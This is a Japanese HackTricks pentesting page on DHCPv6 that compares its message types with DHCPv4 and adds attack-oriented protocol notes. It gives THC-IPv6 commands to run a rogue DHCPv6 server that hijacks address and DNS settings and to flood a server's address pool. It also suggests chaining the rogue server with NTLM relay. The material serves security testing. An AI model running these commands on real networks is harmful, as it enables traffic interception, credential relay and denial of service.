DHCPv6

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

DHCPv6 vs. DHCPv4 Message Types Comparison

A comparative view of DHCPv6 and DHCPv4 message types is presented in the table below:

DHCPv6 メッセージタイプDHCPv4 メッセージタイプ
Solicit (1)DHCPDISCOVER
Advertise (2)DHCPOFFER
Request (3), Renew (5), Rebind (6)DHCPREQUEST
Reply (7)DHCPACK / DHCPNAK
Release (8)DHCPRELEASE
Information-Request (11)DHCPINFORM
Decline (9)DHCPDECLINE
Confirm (4)なし
Reconfigure (10)DHCPFORCERENEW
Relay-Forw (12), Relay-Reply (13)なし

DHCPv6 メッセージタイプの詳細説明:

  1. Solicit (1): DHCPv6 クライアントが利用可能なサーバを検出するために開始する。
  2. Advertise (2): サーバが Solicit に応答して送信し、DHCP サービスの提供可能性を示す。
  3. Request (3): クライアントが特定のサーバから IP アドレスまたはプレフィックスを要求するために使用する。
  4. Confirm (4): クライアントが割り当てられたアドレスがネットワーク上でまだ有効かを確認するために使用する。通常はネットワーク変更後に使われる。
  5. Renew (5): クライアントが元のサーバに送信してアドレスの有効期間を延長したり設定を更新したりする。
  6. Rebind (6): Renew に対する応答がない場合など、任意のサーバに送信してアドレスの有効期間を延長したり設定を更新したりする。
  7. Reply (7): サーバがアドレスや設定パラメータを提供したり、Release や Decline といったメッセージを確認応答したりするために使用する。
  8. Release (8): クライアントがサーバに対して一つ以上の割り当てアドレスの使用を停止することを通知する。
  9. Decline (9): クライアントが割り当てられたアドレスがネットワーク上で競合していることを報告するために送信する。
  10. Reconfigure (10): サーバがクライアントに対して新しいまたは更新された設定のためのトランザクションを開始するよう促す。
  11. Information-Request (11): クライアントが IP アドレスの割当なしに設定パラメータを要求する。
  12. Relay-Forw (12): リレーエージェントがメッセージをサーバに転送する。
  13. Relay-Repl (13): サーバがリレーエージェントに応答し、リレーエージェントがそれをクライアントに届ける。

クイックプロトコルノート(攻撃向け)

  • DHCPv6 クライアントは UDP ポート 546 を使用し、サーバ/リレーは UDP ポート 547 を使用する。
  • クライアントは Solicit を All_DHCP_Relay_Agents_and_Servers (ff02::1:2) に送信する;サーバ/リレーはそこで待ち受ける。All_DHCP_Serversff05::1:3 である。
  • クライアントとサーバの識別子は OPTION_CLIENTIDOPTION_SERVERIDDUIDs を使って格納される。これはアドレス変更を跨いで同一ホストをフィンガープリントするのに便利である。
  • アドレス割当は IA_NA(非一時アドレス)で要求され、プレフィックス委譲は IA_PD(ダウンストリームルータのプレフィックス)で行われる。

Quick Recon

# Basic DHCPv6 traffic capture
sudo tcpdump -vvv -i <IFACE> 'udp port 546 or udp port 547'

# THC-IPv6: discover DHCPv6 servers and their options
sudo atk6-dump_dhcp6 <IFACE>

不正な DHCPv6 サーバー (アドレス/DNS 乗っ取り)

# THC-IPv6: rogue DHCPv6 server advertising address + DNS
sudo atk6-fake_dhcps6 <IFACE> <PREFIX>/<LEN> <DNSv6>

これは汎用の on-link rogue DHCPv6 server です。Windows/AD ネットワークでは、NTLM relay primitives が欲しい場合は、より上位の relays と組み合わせてください(IPv6 ページを参照)。

プール枯渇 / DHCPv6 Starvation

# THC-IPv6: exhaust the server's address pool
sudo atk6-flood_dhcpc6 <IFACE>

Reconfigure メッセージの注意点

DHCPv6 Reconfigure は盲目的には受け入れられません:クライアントは明示的に OPTION_RECONF_ACCEPT を送信している場合にのみこれを受け入れます。デフォルトでは、クライアントは 受け入れる意思がありません ので、不確実な Reconfigure 攻撃は、そのオプションを観察または誘導しない限りしばしば失敗します。

Pentesting IPv6

参考文献

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする